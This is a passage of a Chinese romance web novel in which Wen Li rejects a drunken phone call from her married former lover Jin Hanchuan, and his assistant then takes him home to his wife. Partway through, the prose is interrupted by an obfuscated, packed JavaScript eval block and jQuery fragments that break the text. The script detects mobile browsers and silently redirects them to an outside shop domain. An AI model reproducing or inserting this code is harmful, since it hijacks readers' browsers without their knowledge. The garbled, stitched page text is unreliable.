好半晌,温礼才找回了自己的声音,哑着声回应。
她想冷硬的回绝一下,彻底挂断这通电话,可声小礼就像一只无形的钉子钉住她的手,让她一下都动不了。
八年时间,她早就逼着自己把过去那些零碎的画面全都压在心底最深处。
小礼这个称呼,早就不该再出现了。
可听筒里飘过来的声音混着酒气,和多年前他私下里喊她的调子一模一样。
好多旧画面不受控制地冒出来。
有他笑着抱着她的画面,他抱得那么紧,死死的不肯松手。
不管什么时候,只要她在,他的注意力永远死死落在她身上。
她偶尔闹小脾气不说话,他也不恼,就笑着哄,耐心十足,软着调子一声声小礼小礼的喊,直到她愿意理他为止。
那时候的偏爱太明显。
所有人都知道,靳寒川护短,唯独最疼温礼。
他会把所有最好的东西都留给她,记得她所有的喜好,事事顺着她,处处护着她。
那些日子太好,好得让人难忘,好得让她藏了八年,不敢轻易翻出来。
八年里她刻意不去想,逼着自己遗忘,可这一刻,被他一声醉酒的称呼,全部翻了出来。
最后这段甜和好,被推到了靳母面前。
甜是真的。
可最后破碎收场,也是真的。
“小礼。你理理我好不好……”
听筒里靳寒川的声音还在继续。
他的声音一声比一声低,落在温礼的心头却不亚于巨石砸了过来,砸的她胸口发闷,连话都说不出来,如鲠在喉。
“为什么你要走?为什么呢……”
她咬着牙,硬生生把语气绷得冰冷。
“靳寒川,这世界上的事没有那么多为什么。”
温礼鼻尖发酸,她强忍着哽咽,想将话说清楚。
“我们之间的已经成为了过去,你不要太沉迷于过去,再说我现在看你过得很幸福,有孩子,有妻子,你还提我做什么呢?”
电话那头的靳寒川听着这话,呼吸沉了不少。
“我和她……我和梁朝之间什么关系都没有,小礼,我一直在等你,我一直在等你……”
“为什么你重新回来以后,拼命的想要从我的身边逃离,为什么呢?我哪点做的不够好……”
他像是真的想明白这个问题一般,重复问着,妄图从温礼嘴边听到答案。
可温礼又有什么答案能给他?
她张了张嘴,没什么答案能给他。
所有前因后果,所有委屈痛苦,所有烂在肚子里的秘密,她半个字都不会说。
说了没用,也晚了。
八年都熬过来了,没必要再回头掰扯旧账。
“没有哪里不好。”
温礼声音平平的,听不出情绪,只有一片死寂的凉。
“是我不合适。”
靳寒川听得更急了,醉意上头,语气带着慌。
“怎么会不合适?小礼,你以前不是这么说的!”
他的情绪向来平静,从来都没有这么大反应的时候。
就连他们彻底分开时,温礼也只看到他平淡的眉眼,他都没有皱一下眉。
“以前是以前。”
温礼直接打断他,不想再听任何一句从前。
“靳寒川,你清醒一点。你现在有自己的生活,有外人眼里圆满的家庭,你没必要再来纠缠我。”
“那就觉我为什么不回来?你心里最清楚,我是被你强逼着回来的。”
电话那头沉默了很久,呼吸沉得吓人。
“那些都是假的。”
“什么都是假的,你离开我是假的。我和别人结婚也是假的,都是假的……”
靳寒川喃喃自语道。
这一次温礼再也没有办法心平气和的听他把话讲完。
她清了清嗓子,语气又冷硬了几分。
“靳寒川以前是以前,现在是现在,我希望你能走出来,你有妻子,你有孩子,你不要再困顿在以前。”
“将来我也会结婚生子的,我们总不能一直这样下去,不明不白,从一开始我们的身份就是错的。”
“你以后不要再给我打电话了,不要再来找我,我在这里很好,求求你让我过一段时间清静的日子吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742437|209127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
br>说罢,温礼挂断了电话。
她将手上的手机扔到了一边,捂住了脸。
耳边靳寒川充满醉意的话还在继续回荡,她似乎都看到了靳寒川坐在那边,醉得神志不清,固执追问她为什么要走的模样。
不要再想了。
温礼缓缓的闭上了眼,硬生生的将脑海里混乱的思绪给赶了出去。
她跌跌撞撞的坐到了床边,将头埋进了被子,仿佛这样就能隔绝一切。
另一边,靳寒川被助理扶着,他的身形晃晃悠悠的,连站都站不稳,满身的酒气味。
他拼命的去抢夺助理手中的手机。
“你把手机还给我,我现在要给小礼打电话。”
马上就要到靳寒川的家了,门内就是梁朝,助理哪敢在这个时候把电话交给靳寒川。
他苦笑着躲过了靳寒川争夺手机的时候。
“靳总,我们快到家了,有什么事,进家门以后再说,好吗?”
靳寒川像是没有听到一般,固执的从助理的手里讨要手机。
他伸手,晃晃悠悠的身形连站都站不住,更别说是从清醒的助理手中夺过手机了。
看到的画面都是虚影,靳寒川抓了半天也没有抓住助理的手,被他硬生生的拖拽到了别墅门口。
“太太,靳总喝多了,我把他送过来,您开一下门,把靳总带上去吧?”
如果不是工作不允许,助理巴不得现在就把靳寒川丢到门口。
梁朝打开了门,看到醉醺醺的靳寒川立刻皱眉。
“这是怎么回事。”
助理慢慢的把靳寒川扶进了房间里。
“应酬的时候喝的有点多,太太,我需要把靳总直接扶进房间里吗?”
梁朝立刻点头,走上前扶住了靳寒川另外一只手。
两个成年人共同使力,这才把靳寒川扶到了房间里。
“太太,那我就先走了。”
做完这一切,助理出了一头的汗。
他不敢将靳寒川给温礼打电话的事情说出来,满脑子都是从这里离开的念头。
靳寒川一定会再次提出给温礼打电话的请求。